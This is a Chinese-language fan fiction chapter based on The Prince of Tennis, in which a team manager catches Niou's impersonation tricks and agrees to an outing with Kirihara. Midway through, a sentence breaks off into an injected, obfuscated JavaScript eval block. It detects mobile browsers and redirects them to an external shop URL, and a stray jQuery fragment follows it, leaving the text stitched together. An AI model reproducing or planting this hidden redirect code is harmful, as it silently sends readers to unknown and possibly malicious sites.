丸井文太??????
熙子看着手机上的名字,又看着眼前眨眼吹泡泡糖的丸井文太本人,冷汗直冒。
他是文太,那他又是——
熙子看看手机,又看看文太,眼神反复在两者之间徘徊,文太没有回避她的目光,一脸无辜:“接呀,怎么不接?”他的语气轻飘飘的,甚至带点困惑,似乎不明白她在犹豫什么。
电光石火间,熙子完成了一场极速的小型头脑风暴。
熙子没让铃声响太久,她按了免提,急切又欢快的声音便从手机里清晰地传了过来,回荡在整个休息室。
“暮野,抱歉啦,甜品出炉,排队的时间久了点,我现在马上过去,应该没迟到太久吧?”
“没有,15分钟而已。”
“那就好,我刚刚手机没电,就让仁王帮我请假了——他跟你说了吧?”
熙子直直地盯着眼前的“丸井文太”,嘴角勾起一丝冷笑:“那倒没有,他在我眼前晃了好久,只字未提。”
“搞什么,这个白毛狐狸!甜品没有他的份了!”文太的声音提高了些,颇有些小学生赌气的意味,“算了算了,还好现在你任临时经理,不然真田一定会铁拳制裁我的。”
“当然,我作为经理,关爱部员是职责,”熙子笑眯眯的对着手机说,似乎文太正活生生地站在自己面前。她挑衅地看着仁王雅治,毫不掩饰言语中的偏向性,放缓了语速,好让眼前的人听个清楚,“那么多正选,我最关爱你啦。”
“嘿嘿,就知道你最好啦,待会蛋挞多给你一个——别告诉他们!限定款只能买三个。”文太的喜悦之情掩饰不住地从电话中漏出来,“那,一会见咯!”
“嗯,一会见。”挂断电话,休息室安静了三秒。熙子收拾好情绪,对上那双湖蓝色的眼睛,好整以暇的抱着胳膊,冷冷地问:“仁王雅治,幻影好玩吗?”
“puri,”仁王已经恢复原形,微眯着眼,语调里带着被抓包后破罐破摔的坦然,“我还在想,你到底什么时候才会发现呢。”
“闭嘴。”熙子无情地打断他,看着他漫不经心的神情,被戏弄的气恼和劫后余生的庆幸混杂在一起,难以言说。她不愿意承认的是,当知道眼前人不是真正的文太,她居然切切实实地松了一口气。还好不是文太,但是她没有时间细细想下去,只能先把这个念头搁置在一边,干脆开诚布公地细数起仁王的罪状,她竖起食指,咬牙切齿地说:“切原赤也的LINE,是你假扮的。”
仁王雅治不置可否地耸耸肩。
“被我发现后,不回消息,躲躲藏藏,”熙子竖起中指,边说着,边逼近仁王雅治。
仁王动动嘴唇,熙子没给他辩解的机会,紧接着竖起无名指,继续呛声道:“最过分的,是你假扮成丸井来套我的话,不可饶恕。”
熙子没意识到自己的语气中已经带了一丝怒火,她在仁王面前站定,居高临下地看着他,气势汹汹。“你最好给我认真解释一下。”
仁王盯着熙子,眼神晦暗不明,突然开口:“就是在这里?”
熙子还举着那三根手指,一瞬间没反应过来:“什么?”
仁王抬起胳膊,精准地扣在了熙子的后脑勺,把她按到自己脸前,一个吻堵住了她所有的愤怒和疑问。
“???”
这个吻来得猝不及防,场景,气氛,情绪,通通都不对,可它就是这样发生了。仁王的力道带着不容反抗的意味,但是熙子还残存着一丝理智,她的大脑疯狂拉起警铃,这是在网球部的休息室,门没锁,窗户大敞着,外面的部员还在训练,随时都有人可以冲进来撞破。想到这里,熙子心一惊,情急之下推了仁王一把,作用力使她自己也摇摇晃晃地倒退了几步。
“你……你疯了!这是在休息室!还在训练时间呢!”熙子用手背挡在嘴前,压着火气低声呵斥。
仁王懒懒地站起来,眼神中带了一丝极富攻击性的拷问:“我只是想验证一下,是因为在休息室吗,所以和赤也接吻格外有感觉?”
此话一出,时间都滞了一瞬。
终于说出来了。
熙子的负面情绪渐渐退潮,反而有些如释重负。在此之前,仁王雅治的行为就像在一盘棋上东一颗西一颗的乱丢棋子,毫无章法。假扮切原赤也跟她调情,被拆穿后线上蒸发,又幻影成文太来套她的话——所有这些弯弯绕绕的举动都让人捉摸不透,而他最后的这句话像是给棋局补上了关键性的一颗棋子,不算完整,但是已经足够让熙子看懂了。
好别扭的仁王雅治,兜了那么大的圈子,都不愿意直截了当地来和她对峙,不愿意直接地问一句“你和赤也接吻了?”,不愿意坦白“和你聊天的人一直是我”,反而要用自己的方法,拐弯抹角的试探她,并且要始终保持自己在这场对局中占上风——果然是非常“仁王雅治”的作风。
享受掌控感,擅长心理战,喜欢玩弄猎物,和他的球风如出一辙——网球和情感都要出老千吗?熙子心中浮起一丝微妙的赞叹,你比我想象得有意思,仁王雅治,不愧是大名鼎鼎的欺诈师。
按照他的计划,现在自己是不是该不知所措,心虚解释?说我和切原赤也接吻只是个意外,是我完全误会了,承认仁王的欺诈之术把自己耍的团团转?自己确实被耍了,还惹上了切原赤也这个超级大麻烦——然后心甘情愿地拜倒在仁王雅治的运动服下,生理和心理都是。
但是很遗憾,从他说出这句话的那一刻起,攻守易势。
熙子在心里摩拳擦掌,短短几秒,已经完全做好了迎战的准备。沉吟片刻,她缓缓开口。
“老实说,切原赤也的吻技一塌糊涂,”熙子舔舔嘴唇,“你也知道,切原君他是母胎单身,所以……”熙子欣赏着仁王逐渐转青的脸色,隐隐感觉主动权回到了自己的手中,露出了胜券在握的微笑,“那句话,就是特意说给你听的。”
“你——”“还有,”熙子乘胜追击,竖起一根指头在仁王面前晃晃,“不要再试图幻影成任何人来捉弄我,试探我,顶着别人的样子才能获得的答案,不觉得很憋屈吗?”
“坦诚一些,我也会多关爱你的,仁王选手。”
部活结束的铃声响起,熙子照例收拾训练日志,准备打卡下班。这几天网球部风平浪静,三巨头还没回来,切原被桑原盯得死死的,而仁王,自从那次在休息室被自己反将一军后,这几日也异常安分。一切似乎都回到了正常的轨道上——除了切原每天至少三次欲言又止的表情、仁王偶尔落在她后颈上若有所思的视线。
熙子装作什么都不知道。现在这种大家各怀心思暗流涌动却又都不肯先亮底牌的局面,对她而言反而是最舒服的缓冲期。她乐得轻松。
熙子这么想着,合上柜门,切原赤也的脸忽然出现在眼前。
“哇呀!吓死我了!”熙子被吓了一跳,惊魂未定地抚着胸口,“你怎么走路没声音的?”
“嘿嘿,”切原有些不好意思地笑笑,不知是为自己吓到熙子还是为接下来即将说出口的话,他挠挠头,“前辈,我有话想跟你说。”
熙子谨慎地环顾空荡荡的休息室,确认没有其他人,这才稍稍放松了些:“说吧。”
“我——”切原深吸一口气,眼睛里带着光,“我想清楚了!”
熙子一愣,继而想起自己给他布置的“任务”,那是她当初为了脱身的缓兵之计,当时她盘算的是在接下来的日子里不着痕迹的与他划清界限,让那个误会的吻彻底封存于休息室,她也确实是这么做的,网球部的工作公事公办,尽量避免单独相处,就连两人无意中的眼神接触也控制在三秒以内,在这样的冷处理下,她坚信再过段时间切原赤也对她的热度会慢慢降温自动消化的。
现在看来好像不是那么回事。
不过,他这么快就想清楚了?
但是不容熙子多想,切原就继续说了下去。
“我想好了,”切原攥着拳头,翠绿色的眼睛直直地盯着她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909477|213078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语气认真得近乎虔诚,“我打算用行动来确认!”
“……行动?”熙子重复了一遍他的话。
“对!明天是周末,前辈跟我出去玩吧!”切原仿佛终于找到了方向,越说越顺,“前辈不是让我想清到底喜不喜欢你吗?可是每天都在训练,我根本想不通!如果跟前辈单独相处一整天……”切原仿佛很满意自己想出的这个主意,又补充了一句,“实践出真知!”
熙子不禁被他认真的架势逗得笑出声,有一说一,现在的切原赤也看着格外纯情可爱,可爱到她忍不住恶作剧地调侃他一番。
“切原选手,你是要和我约会吗?”
“啊?”切原被“约会”这个词吓得瞬间瞪大眼睛,也许在他的字典里,这是一个超级重量级的词语,不能轻而易举地用在当下两人的关系里,他的脸瞬间烧红,慌乱地把手摆得飞快:“不是,不是约会!就是一起出去玩而已!”
“好啊,那我们出去玩什么?”
“逛街吃饭,打电动!吃拉面!我知道东京有一家拉面超级赞,比立海大附近的好一百倍!”提到吃喝玩乐,切原赤也来劲了,拍着胸脯保证,“晚上还可以去K歌——放心前辈,不会太晚的!”
“噢——”
熙子拖了长音,没否认,没反对,没说好,也没说不好,就那样抱着胳膊,歪头似笑非笑地看着他。
“所以前辈,明天……可以吗?”切原赤也的语速放缓,小心翼翼地观察着她的表情,无意识攥起的手泄露了他此刻的紧张。
熙子不该答应,她冷处理了将近一周,眼看着切原的热度该慢慢凉下来了,这时候答应出去,很容易前功尽弃。
可她看着那双干干净净的绿色眼眸,思绪控制不住地飘回几天前,就在这间休息室里,是她先吻了他,是她先说了那句“朋友就不能接吻吗”,也是她先说“等你搞清楚了再来谈”。
坑都是自己挖的,她没理由拒绝。
况且,面对这样一个大男孩如此坦诚的邀约,她也实在不忍心拒绝。
——行吧。一天而已。
她又不是没跟男人出去约会过。她和仁王雅治那种精明的狐狸都能斗得有来有回,一个切原赤也又算什么?
向来约会最难的就是煞费苦心让对方喜欢上自己,熙子深谙此道,比如适时地展现柔弱和温婉,不要暴露自己的攻击性,假意崇拜,好满足男人的虚荣心——她完全可以反其道而行之,不用讨好,不用伪装,做最真实的自己就行了——甚至可以把那个“自己”再放大一点:大大咧咧、不拘小节。
最好是让切原赤也自己发现,唔,原来前辈和他更像姐弟,原来两人根本不是恋人的类型,原来那个吻根本代表不了什么,原来自己不喜欢前辈啊。
计划通。
熙子在心里把这些话快速地过了一遍,几近自负地笃定这些都在自己的掌控之中。
“行啊,”她干脆利落地说,“几点?在哪碰面?”
听到熙子肯定的答案,切原的眼睛里的火迅速被点燃,他几乎要原地蹦起来,惊喜地说:“明天早上十点,我在校门口等你!!”
熙子看着欣喜若狂的切原,有一瞬间的失神。那火太热,热到她心底某个角落要被融化。“不见不散哦,前辈!!”说完,切原唯恐她反悔似的,三步并作两步地向门口跑去,边跑边回头傻笑。
“你们明天要干嘛去?”
切原话音刚落,桑原恰好推门进来,他一面擦着汗,一面自然地插嘴加入了他们的对话。面对桑原随口的问候,切原马上闭嘴,生怕走漏两人的秘密,但是动作依旧难掩愉悦。桑原的目光追随着切原溜走的背影,转回来投向熙子,满眼困惑。
熙子看着做贼心虚溜走的切原,乐不可支,恶作剧的念头再一次冒了出来,于是她刻意提高了嗓门回答桑原,确保自己接下来的话能不偏不倚一字不落地落在刚迈出门的切原赤也耳朵里。
“我和赤也,明天要去约会啊。”